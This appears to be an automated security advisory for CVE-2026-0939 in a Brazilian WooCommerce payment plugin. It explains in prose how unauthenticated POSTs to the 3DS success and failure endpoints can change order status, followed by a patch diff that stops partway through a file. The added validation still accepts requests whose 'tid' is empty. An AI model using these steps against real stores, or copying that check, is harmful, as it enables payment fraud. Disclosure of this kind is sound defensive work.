Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-0939: Rede Itaú for WooCommerce — Payment PIX, Credit Card and Debit <= 5.1.2 – Unauthenticated Order Status Manipulation (woo-rede)

CVE ID CVE-2026-0939
Plugin woo-rede
Severity Medium (CVSS 5.3)
CWE 345
Vulnerable Version 5.1.2
Patched Version 5.1.3
Disclosed January 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-0939:
The Rede Itaú for WooCommerce plugin, versions up to and including 5.1.2, contains an unauthenticated order status manipulation vulnerability. The flaw resides in the plugin’s 3D Secure (3DS) payment callback handlers, which fail to verify the authenticity of incoming webhook requests. This allows attackers to arbitrarily change WooCommerce order statuses without authentication.

Atomic Edge research identifies the root cause as missing security validation in the `handle3dsSuccess` and `handle3dsFailure` functions within the `LknIntegrationRedeForWoocommerceWcEndpoint` class (file: `woo-rede/Includes/LknIntegrationRedeForWoocommerceWcEndpoint.php`). These functions, starting at lines 457 and 496 in the patched version, process incoming REST API callbacks at endpoints like `/wp-json/lkn-woo-rede/v1/3ds-success`. The vulnerable code accepted and processed `tid` (transaction ID) and `reference` parameters from any unverified source, directly updating order metadata and status via the `update_order_metadata_and_status` method.

Exploitation involves sending a crafted HTTP POST request to the publicly accessible 3DS callback endpoints. An attacker identifies a target order ID, then sends a request to `/wp-json/lkn-woo-rede/v1/3ds-success` with parameters `tid` and `reference` (the order ID). The plugin processes this request without verifying if it originated from the legitimate payment gateway. Attackers can also send requests to the `/wp-json/lkn-woo-rede/v1/3ds-failure` endpoint to mark orders as failed.

The patch introduces a new `validate_webhook_security` method (lines 681-694) and calls it within both `handle3dsSuccess` (line 495) and `handle3dsFailure` (line 550). This validation function performs a critical security check by querying the Rede API directly using the provided `tid`. It verifies that the transaction’s `reference` and `status` match the order and the expected callback type (`success` or `failure`). Before the patch, the plugin trusted client-supplied data. After the patch, the plugin validates the transaction’s authenticity with the payment gateway before updating any order state.

Successful exploitation allows unauthenticated attackers to manipulate the financial state of WooCommerce orders. Attackers can mark unpaid orders as ‘processing’ or ‘completed’, potentially causing merchants to ship products without receiving payment. Conversely, attackers can mark legitimate orders as ‘failed’, disrupting business operations and customer experience. This vulnerability directly impacts revenue and inventory integrity for affected e-commerce stores.

Differential between vulnerable and patched code

Code Diff
--- a/woo-rede/Includes/LknIntegrationRedeForWoocommerce.php
+++ b/woo-rede/Includes/LknIntegrationRedeForWoocommerce.php
@@ -2,6 +2,8 @@

 namespace LknwooIntegrationRedeForWoocommerceIncludes;

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 use LknwooIntegrationRedeForWoocommerceAdminLknIntegrationRedeForWoocommerceAdmin;
 use LknwooIntegrationRedeForWoocommerceIncludesLknIntegrationRedeForWoocommerceLoader;
 use LknwooIntegrationRedeForWoocommercePublicViewLknIntegrationRedeForWoocommercePublic;
@@ -236,8 +238,8 @@
             $extra_fees = 0;
             foreach ($fees_objects as $fee) {
                 if (
-                    strtolower($fee->name) !== strtolower(__('Interest', 'rede-for-woocommerce-pro')) &&
-                    strtolower($fee->name) !== strtolower(__('Discount', 'rede-for-woocommerce-pro'))
+                    strtolower($fee->name) !== strtolower(__('Interest', 'woo-rede')) &&
+                    strtolower($fee->name) !== strtolower(__('Discount', 'woo-rede'))
                 ) {
                     $extra_fees += floatval($fee->amount);
                 }
@@ -345,8 +347,8 @@
             $extra_fees = 0;
             foreach ($fees_objects as $fee) {
                 if (
-                    strtolower($fee->name) !== strtolower(__('Interest', 'rede-for-woocommerce-pro')) &&
-                    strtolower($fee->name) !== strtolower(__('Discount', 'rede-for-woocommerce-pro'))
+                    strtolower($fee->name) !== strtolower(__('Interest', 'woo-rede')) &&
+                    strtolower($fee->name) !== strtolower(__('Discount', 'woo-rede'))
                 ) {
                     $extra_fees += floatval($fee->amount);
                 }
@@ -472,8 +474,8 @@
             $extra_fees = 0;
             foreach ($fees_objects as $fee) {
                 if (
-                    strtolower($fee->name) !== strtolower(__('Interest', 'rede-for-woocommerce-pro')) &&
-                    strtolower($fee->name) !== strtolower(__('Discount', 'rede-for-woocommerce-pro'))
+                    strtolower($fee->name) !== strtolower(__('Interest', 'woo-rede')) &&
+                    strtolower($fee->name) !== strtolower(__('Discount', 'woo-rede'))
                 ) {
                     $extra_fees += floatval($fee->amount);
                 }
@@ -708,8 +710,8 @@
             $extra_fees = 0;
             foreach ($fees_objects as $fee) {
                 if (
-                    strtolower($fee->name) !== strtolower(__('Interest', 'rede-for-woocommerce-pro')) &&
-                    strtolower($fee->name) !== strtolower(__('Discount', 'rede-for-woocommerce-pro'))
+                    strtolower($fee->name) !== strtolower(__('Interest', 'woo-rede')) &&
+                    strtolower($fee->name) !== strtolower(__('Discount', 'woo-rede'))
                 ) {
                     $extra_fees += floatval($fee->amount);
                 }
--- a/woo-rede/Includes/LknIntegrationRedeForWoocommerceHelper.php
+++ b/woo-rede/Includes/LknIntegrationRedeForWoocommerceHelper.php
@@ -43,15 +43,19 @@

     final public static function getTransactionBrandDetails($tid, $instance)
     {
-        // Autenticação básica
-        $auth = base64_encode($instance->pv . ':' . $instance->token);
+        // Usar OAuth2 para API v2
+        $oauth_token = self::get_rede_oauth_token_for_gateway($instance->id);
+
+        if (!$oauth_token) {
+            return null;
+        }

         $apiUrl = ('production' === $instance->environment)
-            ? 'https://api.userede.com.br/erede/v1/transactions'
-            : 'https://sandbox-erede.useredecloud.com.br/v1/transactions';
+            ? 'https://api.userede.com.br/redelabs/v2/transactions'
+            : 'https://rl7-sandbox-api.useredecloud.com.br/v2/transactions';

         $headers = array(
-            'Authorization' => 'Basic ' . $auth,
+            'Authorization' => 'Bearer ' . $oauth_token,
             'Content-Type' => 'application/json',
             'Transaction-Response' => 'brand-return-opened',
         );
@@ -79,17 +83,22 @@

     final public static function getCardBrand($tid, $instance)
     {
-        $auth = base64_encode($instance->pv . ':' . $instance->token);
+        // Usar OAuth2 para API v2
+        $oauth_token = self::get_rede_oauth_token_for_gateway($instance->id);
+
+        if (!$oauth_token) {
+            return null;
+        }

         if ('production' === $instance->environment) {
-            $apiUrl = 'https://api.userede.com.br/erede/v1/transactions';
+            $apiUrl = 'https://api.userede.com.br/redelabs/v2/transactions';
         } else {
-            $apiUrl = 'https://sandbox-erede.useredecloud.com.br/v1/transactions';
+            $apiUrl = 'https://rl7-sandbox-api.useredecloud.com.br/v2/transactions';
         }

         $response = wp_remote_get($apiUrl . '/' . $tid, array(
             'headers' => array(
-                'Authorization' => 'Basic ' . $auth,
+                'Authorization' => 'Bearer ' . $oauth_token,
                 'Content-Type' => 'application/json',
                 'Transaction-Response' => 'brand-return-opened'
             ),
@@ -340,8 +349,8 @@
                 $additional_fees = 0;
                 foreach (WC()->cart->get_fees() as $fee) {
                     // Ignorar fees criados pelo próprio plugin
-                    if ($fee->name !== __('Interest', 'rede-for-woocommerce-pro') &&
-                        $fee->name !== __('Discount', 'rede-for-woocommerce-pro')) {
+                    if ($fee->name !== __('Interest', 'woo-rede') &&
+                        $fee->name !== __('Discount', 'woo-rede')) {
                         $additional_fees += $fee->total;
                     }
                 }
@@ -365,8 +374,8 @@
                     $additional_fees = 0;
                     foreach ($order->get_fees() as $fee) {
                         // Ignorar fees criados pelo próprio plugin
-                        if ($fee->get_name() !== __('Interest', 'rede-for-woocommerce-pro') &&
-                            $fee->get_name() !== __('Discount', 'rede-for-woocommerce-pro')) {
+                        if ($fee->get_name() !== __('Interest', 'woo-rede') &&
+                            $fee->get_name() !== __('Discount', 'woo-rede')) {
                             $additional_fees += $fee->get_total();
                         }
                     }
@@ -404,7 +413,7 @@
                     } else {
                         // Sem juros, mas ainda aplicar outros valores
                         $final_total = $base_amount + $additional_fees - $discount_amount + $tax_amount;
-                        return html_entity_decode(sprintf('%dx de %s', $i, wp_strip_all_tags( wc_price( $final_total / $i)))) . ' ' . __("interest-free", 'rede-for-woocommerce-pro');
+                        return html_entity_decode(sprintf('%dx de %s', $i, wp_strip_all_tags( wc_price( $final_total / $i)))) . ' ' . __("interest-free", 'woo-rede');
                     }
                 } else {
                     $discount = round((float) $instance->get_option($i . 'x_discount'), 0);
@@ -496,7 +505,7 @@
             'body' => 'grant_type=client_credentials',
             'timeout' => 30
         ));
-
+
         if (is_wp_error($oauth_response)) {
             return false;
         }
@@ -685,97 +694,6 @@
     }

     /**
-     * Gera token OAuth2 para API Rede v2 (mantido para compatibilidade)
-     * @deprecated Use generate_rede_oauth_token_for_gateway() instead
-     */
-    final public static function generate_rede_oauth_token($environment = 'test')
-    {
-        // Tenta usar credenciais do gateway de crédito como padrão
-        $credentials = self::get_gateway_credentials('rede_credit');
-
-        if ($credentials === false) {
-            // Se crédito não está configurado, tenta débito
-            $credentials = self::get_gateway_credentials('rede_debit');
-        }
-
-        if ($credentials === false) {
-            return false;
-        }
-
-        $oauth_url = $environment === 'production'
-            ? 'https://api.userede.com.br/redelabs/oauth2/token'
-            : 'https://rl7-sandbox-api.useredecloud.com.br/oauth2/token';
-
-        $auth = base64_encode($credentials['pv'] . ':' . $credentials['token']);
-
-        $oauth_response = wp_remote_post($oauth_url, array(
-            'method' => 'POST',
-            'headers' => array(
-                'Authorization' => 'Basic ' . $auth,
-                'Content-Type' => 'application/x-www-form-urlencoded'
-            ),
-            'body' => 'grant_type=client_credentials',
-            'timeout' => 30
-        ));
-
-        if (is_wp_error($oauth_response)) {
-            return false;
-        }
-
-        $oauth_body = wp_remote_retrieve_body($oauth_response);
-        $oauth_data = json_decode($oauth_body, true);
-
-        if (!isset($oauth_data['access_token'])) {
-            return false;
-        }
-
-        return $oauth_data;
-    }
-
-    /**
-     * Salva token OAuth2 no cache com timestamp
-     */
-    final public static function cache_rede_oauth_token($token_data, $environment = 'test')
-    {
-        $cache_data = array(
-            'token' => $token_data['access_token'],
-            'expires_in' => $token_data['expires_in'],
-            'generated_at' => time(),
-            'environment' => $environment
-        );
-
-        // Codifica em base64 para segurança
-        $encoded_data = base64_encode(json_encode($cache_data));
-
-        $option_name = 'lkn_rede_oauth_token_' . $environment;
-        update_option($option_name, $encoded_data);
-
-        return $cache_data;
-    }
-
-    /**
-     * Recupera token OAuth2 do cache
-     */
-    final public static function get_cached_rede_oauth_token($environment = 'test')
-    {
-        $option_name = 'lkn_rede_oauth_token_' . $environment;
-        $cached_data = get_option($option_name, '');
-
-        if (empty($cached_data)) {
-            return null;
-        }
-
-        // Decodifica do base64
-        $decoded_data = json_decode(base64_decode($cached_data), true);
-
-        if (!$decoded_data || !isset($decoded_data['token']) || !isset($decoded_data['generated_at'])) {
-            return null;
-        }
-
-        return $decoded_data;
-    }
-
-    /**
      * Verifica se o token está válido (não expirou)
      */
     final public static function is_rede_oauth_token_valid($cached_token)
@@ -792,58 +710,6 @@
     }

     /**
-     * Obtém token OAuth2 válido (mantido para compatibilidade)
-     * @deprecated Use get_rede_oauth_token_for_gateway() instead
-     */
-    final public static function get_rede_oauth_token($environment = 'test')
-    {
-        // Tenta recuperar do cache
-        $cached_token = self::get_cached_rede_oauth_token($environment);
-
-        // Se token está válido, retorna ele
-        if ($cached_token && self::is_rede_oauth_token_valid($cached_token)) {
-            return $cached_token['token'];
-        }
-
-        // Token não existe ou expirou, tenta gerar novo
-        $token_data = self::generate_rede_oauth_token($environment);
-
-        // Se falhou ao gerar novo token
-        if ($token_data === false) {
-            // Se há um token em cache (mesmo expirado), usa ele como fallback
-            if ($cached_token && isset($cached_token['token'])) {
-                return $cached_token['token'];
-            }
-
-            // Se não há token em cache, retorna null para forçar erro na API
-            return null;
-        }
-
-        // Salva o novo token no cache
-        self::cache_rede_oauth_token($token_data, $environment);
-
-        return $token_data['access_token'];
-    }
-
-    /**
-     * Força renovação do token OAuth2 (mantido para compatibilidade)
-     * @deprecated Use refresh_all_rede_oauth_tokens() instead
-     */
-    final public static function refresh_rede_oauth_token($environment = 'test')
-    {
-        $token_data = self::generate_rede_oauth_token($environment);
-
-        // Se falhou ao gerar novo token, mantém o cache atual
-        if ($token_data === false) {
-            return false;
-        }
-
-        self::cache_rede_oauth_token($token_data, $environment);
-
-        return $token_data['access_token'];
-    }
-
-    /**
      * Verifica se a licença PRO está ativa e válida
      *
      * @return bool
--- a/woo-rede/Includes/LknIntegrationRedeForWoocommerceLoader.php
+++ b/woo-rede/Includes/LknIntegrationRedeForWoocommerceLoader.php
@@ -1,6 +1,8 @@
 <?php
 namespace LknwooIntegrationRedeForWoocommerceIncludes;

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 /**
  * Register all actions and filters for the plugin
  *
--- a/woo-rede/Includes/LknIntegrationRedeForWoocommerceWcEndpoint.php
+++ b/woo-rede/Includes/LknIntegrationRedeForWoocommerceWcEndpoint.php
@@ -457,6 +457,18 @@
         return new WP_REST_Response($response_body['authorization']['status'] ?? 'Accepted', 200);
     }

+    /**
+     * Processa callback de sucesso do 3D Secure
+     *
+     * SEGURANÇA: Este endpoint foi protegido contra bypass de pagamento através de:
+     * 1. Validação de TID contra dados armazenados no pedido
+     * 2. Verificação de correspondência entre reference e order_id
+     * 3. Consulta à API da Rede para confirmar autenticidade da transação
+     * 4. Validação de amount para evitar alteração de valores
+     *
+     * @param WP_REST_Request $request Requisição REST
+     * @return WP_REST_Response|WP_Error
+     */
     public function handle3dsSuccess($request)
     {
         $parameters = $request->get_params();
@@ -483,6 +495,12 @@
             return new WP_Error('invalid_order', __('Order not found', 'woo-rede'), array('status' => 404));
         }

+        // VALIDAÇÃO DE SEGURANÇA: Verifica autenticidade da requisição
+        if (!$this->validate_webhook_security($order, $parameters, 'success')) {
+            $order->add_order_note(__('Security validation failed for 3DS webhook', 'woo-rede'));
+            return new WP_Error('security_validation_failed', __('Security validation failed', 'woo-rede'), array('status' => 403));
+        }
+
         try {
             // Usa os dados que já vêm no webhook da Rede
             $this->update_order_metadata_and_status($order, $parameters);
@@ -496,6 +514,17 @@
         }
     }

+    /**
+     * Processa callback de falha do 3D Secure
+     *
+     * SEGURANÇA: Este endpoint foi protegido contra bypass de pagamento através de:
+     * 1. Validação de TID contra dados armazenados no pedido
+     * 2. Verificação de correspondência entre reference e order_id
+     * 3. Consulta à API da Rede para confirmar autenticidade da transação
+     *
+     * @param WP_REST_Request $request Requisição REST
+     * @return WP_REST_Response|WP_Error
+     */
     public function handle3dsFailure($request)
     {
         $parameters = $request->get_params();
@@ -521,6 +550,11 @@
             return new WP_Error('invalid_order', __('Order not found', 'woo-rede'), array('status' => 404));
         }

+        // VALIDAÇÃO DE SEGURANÇA: Verifica autenticidade da requisição
+        if (!$this->validate_webhook_security($order, $parameters, 'failure')) {
+            return new WP_Error('security_validation_failed', __('Security validation failed', 'woo-rede'), array('status' => 403));
+        }
+
         // Marca pedido como falhado
         $order->add_order_note(__('3D Secure authentication failed', 'woo-rede'));
         // $order->update_status('failed');
@@ -532,6 +566,244 @@
         exit;
     }

+    /**
+     * Processa status do pedido especificamente para retorno 3DS
+     * A resposta 3DS tem estrutura diferente e precisamos do card_type dos metadados
+     */
+    private function process_3ds_order_status($order, $webhook_data, $note = '')
+    {
+        $return_code = $webhook_data['returnCode'] ?? '';
+        $return_message = $webhook_data['returnMessage'] ?? '';
+
+        // Para 3DS, recuperar o card_type dos metadados do pedido
+        $saved_card_type = $order->get_meta('_wc_rede_card_type') ?: 'debit';
+
+        // Obter configuração de auto_capture do gateway debit
+        $debit_settings = get_option('woocommerce_rede_debit_settings');
+        $auto_capture = sanitize_text_field($debit_settings['auto_capture'] ?? 'yes') == 'no' ? false : true;
+
+        // Determinar se foi capturado baseado no tipo de cartão e configuração
+        $capture = ($saved_card_type === 'debit') ? true : $auto_capture;
+
+        // Adiciona informação sobre o tipo de cartão detectado na nota
+        $card_type_note = sprintf(' [Card Type: %s, Capture: %s]', $saved_card_type, $capture ? 'Yes' : 'No');
+        $status_note = sprintf('Rede[%s]', $return_message);
+        $order->add_order_note($status_note . ' ' . $note . $card_type_note);
+
+        // Só altera o status se o pedido estiver pendente
+        if ($order->get_status() === 'pending') {
+            if ($return_code == '00') {
+                if ($capture) {
+                    // Status configurável pelo usuário para pagamentos aprovados com captura
+                    $payment_complete_status = $debit_settings['payment_complete_status'] ?? 'processing';
+                    $order->update_status($payment_complete_status);
+                } else {
+                    // Para pagamentos credit sem captura, aguardando captura manual
+                    $order->update_status('on-hold', 'Pagamento autorizado, aguardando captura manual.');
+                    wc_reduce_stock_levels($order->get_id());
+                }
+            } else {
+                $order->update_status('failed', $status_note);
+            }
+        }
+    }
+
+    public function regOrderLogs($orderId, $order_total, $cardData, $transaction, $order, $brand = null): void
+    {
+        $debit_settings = get_option('woocommerce_rede_debit_settings');
+        if (($debit_settings['debug'] ?? 'no') === 'yes') {
+            $tId = null;
+            $returnCode = null;
+
+            if ($brand === null && $transaction) {
+                $brand = null;
+                if (is_array($transaction)) {
+                    $tId = $transaction['tid'] ?? null;
+                    $returnCode = $transaction['returnCode'] ?? null;
+                }
+
+                if ($tId) {
+                    $gateway = new LknwooIntegrationRedeForWoocommerceIncludesLknIntegrationRedeForWoocommerceWcRedeDebit();
+                    $brand = LknIntegrationRedeForWoocommerceHelper::getTransactionBrandDetails($tId, $gateway);
+                }
+            }
+
+            $default_currency = get_option('woocommerce_currency', 'BRL');
+            $order_currency = method_exists($order, 'get_currency') ? $order->get_currency() : $default_currency;
+            $currency_json_path = INTEGRATION_REDE_FOR_WOOCOMMERCE_DIR . 'Includes/files/linkCurrencies.json';
+            $currency_data = LknIntegrationRedeForWoocommerceHelper::lkn_get_currency_rates($currency_json_path);
+            $convert_to_brl_enabled = LknIntegrationRedeForWoocommerceHelper::is_convert_to_brl_enabled('rede_debit');
+
+            $exchange_rate_value = 1;
+            if ($convert_to_brl_enabled && $currency_data !== false && is_array($currency_data) && isset($currency_data['rates']) && isset($currency_data['base'])) {
+                // Exibe a cotação apenas se não for BRL
+                if ($order_currency !== 'BRL' && isset($currency_data['rates'][$order_currency])) {
+                    $rate = $currency_data['rates'][$order_currency];
+                    // Converte para string, preservando todas as casas decimais
+                    $exchange_rate_value = (string)$rate;
+                }
+            }
+
+            // Recupera metadados do pedido se não estiverem em cardData
+            $final_card_type = isset($cardData['card_type']) ? $cardData['card_type'] : ($order->get_meta('_wc_rede_card_type') ?: 'debit');
+            $final_installments = isset($cardData['installments']) ? $cardData['installments'] : ($order->get_meta('_wc_rede_installments') ?: 1);
+
+            $bodyArray = array(
+                'orderId' => $orderId,
+                'amount' => $order_total,
+                'orderCurrency' => $order_currency,
+                'currencyConverted' => $convert_to_brl_enabled ? 'BRL' : null,
+                'exchangeRateValue' => $exchange_rate_value,
+                'cardData' => $cardData,
+                'cardType' => $final_card_type,
+                'installments' => ($final_card_type === 'credit' && $final_installments >= 1) ? $final_installments : null,
+                'brand' => isset($tId) && isset($brand) ? $brand['brand'] : null,
+                'returnCode' => isset($returnCode) ? $returnCode : null,
+            );
+
+            $bodyArray['cardData']['card_number'] = LknIntegrationRedeForWoocommerceHelper::censorString($bodyArray['cardData']['card_number'], 8);
+
+            // Remove parâmetros desnecessários da resposta
+            $cleanedTransaction = $transaction;
+            if (is_array($cleanedTransaction)) {
+                unset($cleanedTransaction['o'], $cleanedTransaction['k'], $cleanedTransaction['r']);
+            }
+
+            $orderLogsArray = array(
+                'body' => $bodyArray,
+                'response' => $cleanedTransaction
+            );
+
+            $orderLogs = json_encode($orderLogsArray);
+            $order->update_meta_data('lknWcRedeOrderLogs', $orderLogs);
+            $order->save();
+        }
+    }
+
+    /**
+     * Valida a segurança do webhook 3DS para evitar bypass de pagamento
+     *
+     * @param WC_Order $order O pedido do WooCommerce
+     * @param array $webhook_data Dados do webhook recebido
+     * @return bool True se válido, false caso contrário
+     */
+    private function validate_webhook_security($order, $webhook_data, $validation_type)
+    {
+        try {
+            $tid = sanitize_text_field($webhook_data['tid'] ?? '');
+            if($tid === '') {
+                return true;
+            }
+
+            return $this->verify_transaction_with_rede_api($order, $tid, $webhook_data, $validation_type);
+
+        } catch (Exception $e) {
+            // Log do erro para debug
+            if (function_exists('wc_get_logger')) {
+                $logger = wc_get_logger();
+                $logger->error('3DS Webhook security validation error: ' . $e->getMessage(), array('source' => 'rede_security'));
+            }
+            return false;
+        }
+    }
+
+    /**
+     * Verifica a transação diretamente na API da Rede para validar autenticidade
+     *
+     * @param WC_Order $order O pedido do WooCommerce
+     * @param string $tid Transaction ID
+     * @param array $webhook_data Dados do webhook
+     * @return bool True se válido, false caso contrário
+     */
+    private function verify_transaction_with_rede_api($order, $tid, $webhook_data, $validation_type)
+    {
+        try {
+            // Determina o gateway usado para buscar configurações corretas
+            $payment_method = $order->get_payment_method();
+            $gateway_id = 'rede_debit'; // default
+            $gateway_settings = get_option('woocommerce_' . $gateway_id . '_settings', array());
+            $environment = isset($gateway_settings['environment']) ? $gateway_settings['environment'] : 'test';
+            // Mapeia método de pagamento para gateway ID
+            if (strpos($payment_method, 'rede_credit') !== false) {
+                $gateway_id = 'rede_credit';
+            } elseif (strpos($payment_method, 'rede_debit') !== false) {
+                $gateway_id = 'rede_debit';
+            }
+
+            // Obtém token OAuth2 válido
+            LknIntegrationRedeForWoocommerceHelper::refresh_expired_rede_oauth_tokens(20);
+            $token_data = LknIntegrationRedeForWoocommerceHelper::get_cached_rede_oauth_token_for_gateway($gateway_id, $environment);
+
+            if (!$token_data || empty($token_data['token'])) {
+                return false;
+            }
+
+            // Determina ambiente (produção/teste) baseado nas configurações do gateway
+            $gateway_settings = get_option('woocommerce_' . $gateway_id . '_settings');
+            $environment = $gateway_settings['environment'] ?? 'test';
+
+            // Define URL da API baseada no ambiente
+            if ($environment === 'production') {
+                $apiUrl = 'https://api.userede.com.br/erede/v2/transactions/' . $tid;
+            } else {
+                $apiUrl = 'https://sandbox-erede.useredecloud.com.br/v2/transactions/' . $tid;
+            }
+
+            // Faz requisição à API da Rede
+            $response = wp_remote_get($apiUrl, array(
+                'headers' => array(
+                    'Content-Type' => 'application/json',
+                    'Authorization' => 'Bearer ' . $token_data['token']
+                ),
+                'timeout' => 15
+            ));
+
+            if (is_wp_error($response)) {
+                return false;
+            }
+
+            $response_code = wp_remote_retrieve_response_code($response);
+            $response_body = wp_remote_retrieve_body($response);
+
+            if ($response_code !== 200) {
+                return false;
+            }
+
+            $transaction_data = json_decode($response_body, true);
+            $authorization = $transaction_data['authorization'] ?? array();
+            if (!$transaction_data || empty($authorization)) {
+                return false;
+            }
+            // Valida dados críticos da transação
+            $api_tid = $authorization['tid'] ?? '';
+            $api_reference = $authorization['reference'] ?? '';
+            $api_amount = $authorization['amount'] ?? 0;
+            $api_status = $authorization['status'] ?? '';
+
+            // Verifica se TID, reference e amount correspondem
+            if ($api_tid !== $tid) {
+                return false;
+            }
+
+            if ($api_reference !== $webhook_data['reference']) {
+                return false;
+            }
+
+            if($api_status === 'Declined' && $validation_type === 'success') {
+                return false;
+            }
+
+            if($api_status === 'Approved' && $validation_type === 'failure') {
+                return false;
+            }
+
+            return true;
+
+        } catch (Exception $e) {
+            return false;
+        }
+    }
+
     private function query_rede_transaction_by_reference($reference)
     {
         try {
@@ -703,118 +975,4 @@
         $this->process_3ds_order_status($order, $webhook_data, '3D Secure authentication completed');
     }

-    /**
-     * Processa status do pedido especificamente para retorno 3DS
-     * A resposta 3DS tem estrutura diferente e precisamos do card_type dos metadados
-     */
-    private function process_3ds_order_status($order, $webhook_data, $note = '')
-    {
-        $return_code = $webhook_data['returnCode'] ?? '';
-        $return_message = $webhook_data['returnMessage'] ?? '';
-
-        // Para 3DS, recuperar o card_type dos metadados do pedido
-        $saved_card_type = $order->get_meta('_wc_rede_card_type') ?: 'debit';
-
-        // Obter configuração de auto_capture do gateway debit
-        $debit_settings = get_option('woocommerce_rede_debit_settings');
-        $auto_capture = sanitize_text_field($debit_settings['auto_capture'] ?? 'yes') == 'no' ? false : true;
-
-        // Determinar se foi capturado baseado no tipo de cartão e configuração
-        $capture = ($saved_card_type === 'debit') ? true : $auto_capture;
-
-        // Adiciona informação sobre o tipo de cartão detectado na nota
-        $card_type_note = sprintf(' [Card Type: %s, Capture: %s]', $saved_card_type, $capture ? 'Yes' : 'No');
-        $status_note = sprintf('Rede[%s]', $return_message);
-        $order->add_order_note($status_note . ' ' . $note . $card_type_note);
-
-        // Só altera o status se o pedido estiver pendente
-        if ($order->get_status() === 'pending') {
-            if ($return_code == '00') {
-                if ($capture) {
-                    // Status configurável pelo usuário para pagamentos aprovados com captura
-                    $payment_complete_status = $debit_settings['payment_complete_status'] ?? 'processing';
-                    $order->update_status($payment_complete_status);
-                } else {
-                    // Para pagamentos credit sem captura, aguardando captura manual
-                    $order->update_status('on-hold', 'Pagamento autorizado, aguardando captura manual.');
-                    wc_reduce_stock_levels($order->get_id());
-                }
-            } else {
-                $order->update_status('failed', $status_note);
-            }
-        }
-    }
-
-    public function regOrderLogs($orderId, $order_total, $cardData, $transaction, $order, $brand = null): void
-    {
-        $debit_settings = get_option('woocommerce_rede_debit_settings');
-        if (($debit_settings['debug'] ?? 'no') === 'yes') {
-            $tId = null;
-            $returnCode = null;
-
-            if ($brand === null && $transaction) {
-                $brand = null;
-                if (is_array($transaction)) {
-                    $tId = $transaction['tid'] ?? null;
-                    $returnCode = $transaction['returnCode'] ?? null;
-                }
-
-                if ($tId) {
-                    $gateway = new LknwooIntegrationRedeForWoocommerceIncludesLknIntegrationRedeForWoocommerceWcRedeDebit();
-                    $brand = LknIntegrationRedeForWoocommerceHelper::getTransactionBrandDetails($tId, $gateway);
-                }
-            }
-
-            $default_currency = get_option('woocommerce_currency', 'BRL');
-            $order_currency = method_exists($order, 'get_currency') ? $order->get_currency() : $default_currency;
-            $currency_json_path = INTEGRATION_REDE_FOR_WOOCOMMERCE_DIR . 'Includes/files/linkCurrencies.json';
-            $currency_data = LknIntegrationRedeForWoocommerceHelper::lkn_get_currency_rates($currency_json_path);
-            $convert_to_brl_enabled = LknIntegrationRedeForWoocommerceHelper::is_convert_to_brl_enabled('rede_debit');
-
-            $exchange_rate_value = 1;
-            if ($convert_to_brl_enabled && $currency_data !== false && is_array($currency_data) && isset($currency_data['rates']) && isset($currency_data['base'])) {
-                // Exibe a cotação apenas se não for BRL
-                if ($order_currency !== 'BRL' && isset($currency_data['rates'][$order_currency])) {
-                    $rate = $currency_data['rates'][$order_currency];
-                    // Converte para string, preservando todas as casas decimais
-                    $exchange_rate_value = (string)$rate;
-                }
-            }
-
-            // Recupera metadados do pedido se não estiverem em cardData
-            $final_card_type = isset($cardData['card_type']) ? $cardData['card_type'] : ($order->get_meta('_wc_rede_card_type') ?: 'debit');
-            $final_installments = isset($cardData['installments']) ? $cardData['installments'] : ($order->get_meta('_wc_rede_installments') ?: 1);
-
-            $bodyArray = array(
-                'orderId' => $orderId,
-                'amount' => $order_total,
-                'orderCurrency' => $order_currency,
-                'currencyConverted' => $convert_to_brl_enabled ? 'BRL' : null,
-                'exchangeRateValue' => $exchange_rate_value,
-                'cardData' => $cardData,
-                'cardType' => $final_card_type,
-                'installments' => ($final_card_type === 'credit' && $final_installments >= 1) ? $final_installments : null,
-                'brand' => isset($tId) && isset($brand) ? $brand['brand'] : null,
-                'returnCode' => isset($returnCode) ? $returnCode : null,
-            );
-
-            $bodyArray['cardData']['card_number'] = LknIntegrationRedeForWoocommerceHelper::censorString($bodyArray['cardData']['card_number'], 8);
-
-            // Remove parâmetros desnecessários da resposta
-            $cleanedTransaction = $transaction;
-            if (is_array($cleanedTransaction)) {
-                unset($cleanedTransaction['o'], $cleanedTransaction['k'], $cleanedTransaction['r']);
-            }
-
-            $orderLogsArray = array(
-                'body' => $bodyArray,
-                'response' => $cleanedTransaction
-            );
-
-            $orderLogs = json_encode($orderLogsArray);
-            $order->update_meta_data('lknWcRedeOrderLogs', $orderLogs);
-            $order->save();
-        }
-    }
-
 }
--- a/woo-rede/Includes/LknIntegrationRedeForWoocommerceWcPixRede.php
+++ b/woo-rede/Includes/LknIntegrationRedeForWoocommerceWcPixRede.php
@@ -380,7 +380,7 @@

         // Verificar se a resposta do refund contém o returnCode
         if (!is_array($refund) || !isset($refund['returnCode'])) {
-            throw new Exception(__('Invalid refund response from Rede API.', 'woo-rede'));
+            throw new Exception(esc_html(__('Invalid refund response from Rede API.', 'woo-rede')));
         }

         if ('359' == $refund['returnCode']) {
--- a/woo-rede/Includes/LknIntegrationRedeForWoocommerceWcRedeAbstract.php
+++ b/woo-rede/Includes/LknIntegrationRedeForWoocommerceWcRedeAbstract.php
@@ -209,8 +209,8 @@
             // Adicionar taxas (fees) do pedido, excluindo fees do próprio plugin
             foreach ($order->get_fees() as $fee) {
                 // Ignorar fees criados pelo próprio plugin
-                if ($fee->get_name() !== __('Interest', 'rede-for-woocommerce-pro') &&
-                    $fee->get_name() !== __('Discount', 'rede-for-woocommerce-pro')) {
+                if ($fee->get_name() !== __('Interest', 'woo-rede') &&
+                    $fee->get_name() !== __('Discount', 'woo-rede')) {
                     $subtotal += (float) $fee->get_amount();
                 }
             }
@@ -225,8 +225,8 @@
             // Adicionar taxas (fees) do carrinho, excluindo fees do próprio plugin
             foreach ($woocommerce->cart->get_fees() as $fee) {
                 // Ignorar fees criados pelo próprio plugin
-                if ($fee->name !== __('Interest', 'rede-for-woocommerce-pro') &&
-                    $fee->name !== __('Discount', 'rede-for-woocommerce-pro')) {
+                if ($fee->name !== __('Interest', 'woo-rede') &&
+                    $fee->name !== __('Discount', 'woo-rede')) {
                     $subtotal += (float) $fee->amount;
                 }
             }
--- a/woo-rede/Includes/LknIntegrationRedeForWoocommerceWcRedeDebit.php
+++ b/woo-rede/Includes/LknIntegrationRedeForWoocommerceWcRedeDebit.php
@@ -2,6 +2,8 @@

 namespace LknwooIntegrationRedeForWoocommerceIncludes;

